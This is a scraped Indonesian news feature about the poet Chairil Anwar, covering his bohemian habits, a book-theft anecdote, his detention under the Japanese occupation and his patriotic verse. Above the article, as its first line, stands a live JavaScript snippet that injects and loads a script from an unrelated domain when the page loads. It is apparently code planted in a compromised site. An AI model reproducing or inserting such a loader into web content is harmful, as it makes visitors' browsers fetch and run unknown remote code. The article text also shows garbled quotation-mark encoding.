(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Ia mati muda. Belum genap 27 tahun kala itu, Chairil Anwar akhirnya meninggal dunia karena Tuberculosis (TBC). Tapi kehidupan yang singkat justru mengguratkan keabadian bagi semangat pemuda urakan yang dinobatkan sebagai pelopor sastra angkatan 45!
Chairil–menurut almarhum sastrawan Sapardi Djoko Damono, memiliki paket komplit ciri seorang seniman sejati. Tak memiliki pekerjaan tetap, suka keluyuran, jorok, selalu kekurangan uang, penyakitan, dan tingkah lakunya menjengkelkan.
Tetapi karyanya yang luar biasa menunjukkan bahwa ia mampu tumbuh dengan sangat cepat. Pun raganya juga layu dengan cepat. Ia banyak bergaul dengan sejumlah seniman dalam bidang apa pun sehingga pada zamannya ia menjadi orang yang paling banyak dikenal. Chairil Anwar, hidup dalam dunianya yang ia tuangkan dalam goresan-goresan pena. Puisi, yang menyala api hingga saat ini.
Chairil memang bukan pahlawan yang ikut mengokang senjata di medan perang. Bahkan ia lebih dikenal sebagai seorang bohemian yang saban hari sibuk memikirkan rayuan untuk menggaet perempuan. Namun demikian, jika ada penyair Indonesia yang mula-mula memiliki kesadaran patriotik dalam bersyair, Chairil adalah pelopornya.
9 Pujangga yang Tak Lekang Oleh Waktu. Infografis: Kanalkalimantan/andy
Oleh kritikus HB Jassin, Chairil dinobatkan sebagai Pelopor Angkatan 45: Sebuah periodisasi sastrawan Indonesia yang dinamai dengan angka keramat tahun kemerdekaan Republik Indonesia. Dan yang terpenting, sejumlah puisi Chairil memang jelas-jelas mengumandangkan spirit perjuangan bangsa. Sebut saja: Aku, Merdeka, Diponegoro, Cerita buat Dien Tamaela, Krawang-Bekasi, Persetujuan dengan Bung Karno, Catetan Tahun 1946, dan Prajurit Jaga Malam.
Spirit kebangsaan tersebut membuat Chairil cenderung dinilai sebagai sosok penyair yang, lebih daripada penyair Indonesia lainnya di sepanjang sejarah, paling representatif membawa pijar semangat patriotisme.
Chairil Anwar, penyair pelopor angkatan 45
Chairil memang tak bisa bekerja kantoran. Ia selalu kalayapan, dan paling sering ke lingkungan seniman di Senen serta mengunjungi beberapa kawannya pegawai Balai Pustaka yang kantornya juga tak jauh dari situ. Chairil juga hidup nomaden, berpindah-pindah tempat tinggal dari kawan satu ke kawan lainnya. Tak hanya menumpang tidur, ia juga numpang makan.
Di Balai Pustaka, salah satu kawan Chairil adalah HB Jassin. Pria yang kelak dijuluki Paus Sastra karena karya-karya kritiknya ini bekerja di Balai Pustaka sejak 1940. Jassin kerap disambangi Chairil dan temannya Bachrum Rangkuti karena punya koleksi banyak buku.
“Dia punya sifat yang kadang-kadang membuat menggelegak. Misalnya dia biasa datang ke rumah meminjam buku, meminjam mesin tulis, tapi ada kalanya dia meminjam tanpa tanya, terus dibawa saja,†kata Jassin.
Tak hanya Jassin, penyair Subagio Sastrowardoyo pun mengalami hal serupa. Buku-buku miliknya kerap diambil Chairil, dan tak jarang diloakkan di Pasar Senen. Untungnya, buku-buku itu selalu berhasil Subagio temukan kembali. “Chairil Anwar punya prinsip bukumu bukuku, rumahmu rumahku,†kata Subagio.
Tak hanya mengembat buku teman-temannya, Chairil juga pernah mencuri di toko buku Van Dorp dan Kolff di Jalan Juanda, Jakarta. “Saya dan Chairil suka juga mencuri buku di situ,†kata Asrul Sani, dalam kata pembuka Derai-derai Cemara: Mengenang 50 Tahun Wafatnya Chairil Anwar (1989) dilansir oleh Tirto.id.
Waktu itu, Chairil tertarik dengan buku Also Sprach Zarathustra, karya filsuf Fredrich Nietzsche. “Kau perhatikan orang itu. Aku mau mengantongi Nietzsche,†perintah Chairil pada Asrul.
Untuk memuluskan rencananya, Chairil memakai celana komprang berkantong besar yang memungkinkan dia menyembunyikan buku curiannya. Kebetulan, buku Nietzsche yang mereka incar itu diletakkan di rak bersama buku-buku agama.
Waktunya beraksi! Saat Asrul mengawasi penjaga toko, Chairil beraksi mengantongi buku itu. Setelah sukses, mereka keluar dari toko dengan lagak tenang dan santai. Setelah tiba di tempat aman, mereka keluarkan hasil jarahan mereka dari kantong celana Chairil.
“Kok ini? Wah, salah ambil aku!†seru Chairil. Ternyata, bukan Zarathustra yang terambil, melainkan Injil. Bukannya menggondol kumpulan aforisma yang salah satunya berisi kalimat terkenal “Tuhan telah mati!â€, Chairil sang pemuda bohemian malah meraup kitab berisi ribuan kata-kata Tuhan.
***
Chairil memang tak melawan penjajah dengan senjata. Tapi lewat puisi-puisinya, ia dengan tegas menyatakan sikap politik. Pada zaman pendudukan Jepang, Chairil merasakan hebatnya siksaan Kenpeitai—Polisi Rahasia Jepang—setelah terbit puisinya yang berjudul: “Siap Sedia.â€
Dimana dalam puisi tersebut ia menyelipkan kata-kata “Kawan, kawan. Mari mengayun pedang ke dunia terang,†tulis Chairil seperti dikutip HB Jassin dalam Kesusastraan Indonesia di Masa Jepang (1969). Dunia terang yang dimaksud adalah Jepang.
Maka, Chairil pun didakwa dengan tuduhan menganjurkan pemberontakan pada Jepang. Menurut Eneste Pamusuk, Chairil ditahan sekitar bulan Juli 1943. Karena penahanan itu jugalah Chairil tidak bisa tampil sebagai pembicara pada Forum Angkatan Muda di Kantor Pusat Kebudayaan.
Saat pendudukan Jepang, sikap Chairil tak jauh beda dengan sang paman, Sutan Sjahrir yang memimpin gerakan bawah tanah yang bergaris non-kooperasi dengan Jepang. Sikapnya saat itu berseberangan dengan Soekarno dan Hatta yang menjadi penasehat militer Jepang di Indonesia.
Sebelumnya, lewat pusinya berjudul “Nisan†pada 1942 (saat usianya baru 20 tahun) ia juga sempat dianggap anti propaganda Militer Jepang. Sedangkan puisi Chairil yang sangat terkenal, “Akuâ€, yang ditulis tahun 1943, dimuat di majalah Timur pada 1945. Puisi itu kemudian dianggap sebagian khalayak sastra sebagai pendobrak cara berpuisi, dan ia dijuluki ‘Binatang Jalang.’
HB Jassin dalam bukunya, Chairil Anwar Pelopor Angkatan 45, menyebutkan setidaknya Chairil menghasilkan 94 tulisan pada periode 1942-1949. Itu termasuk 70 sajak asli, 4 saduran, 10 sajak terjemahan, 6 prosa asli, serta 4 prosa terjemahan. Dia berhasil menjadi apa yang dia inginkan ketika masih berusia 15 tahun, jadi seniman. Chairil sudah pernah membuat puisi dengan gaya Pujangga Baru, tetapi ia segera membuang kertas-kertas puisi itu karena merasa tak puas.
Setelah Proklamasi Kemerdekaan Indonesia dan datangnya tentara Belanda ke Indonesia, keberpihakan Chairil sangatlah jelas: pro-republiken!
***
Lahir di Medan, 26 Juli 1922, Chairil merupakan anak tunggal dari pasangan Toeloes dan Saleha. Sang ayah berasal dari Nagari Taeh, Kabupaten Limapuluh Kota, sedangkan ibunya berasal dari Kota Gadang.
Toeloes disebutkan sebagai pegawai negeri yang bekerja pada pemerintah kolonial, sehingga hidup mereka cukup mapan. Maka itu Chairil bisa bersekolah di SD dan SMP elite untuk pribumi di: HIS dan MULO. Walau pun tak melanjutkan sekolah, Chairil melahap semua buku untuk siswa HBS tingkat atas. Ia membaca semua buku-buku Rainer Maria Rilke, W.H. Auden, Archibald MacLeish, Hendrik Marsman, J. Slaurhoff, Edgar Du Perron, dan banyak lainnya.
“Semua buku mereka aku sudah baca,†kata Chairil, seperti dikutip Eneste Pamusuk dalam Mengenal Chairil Anwar (1995). (Kanalkalimantan.com/cel/berbagai sumber)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.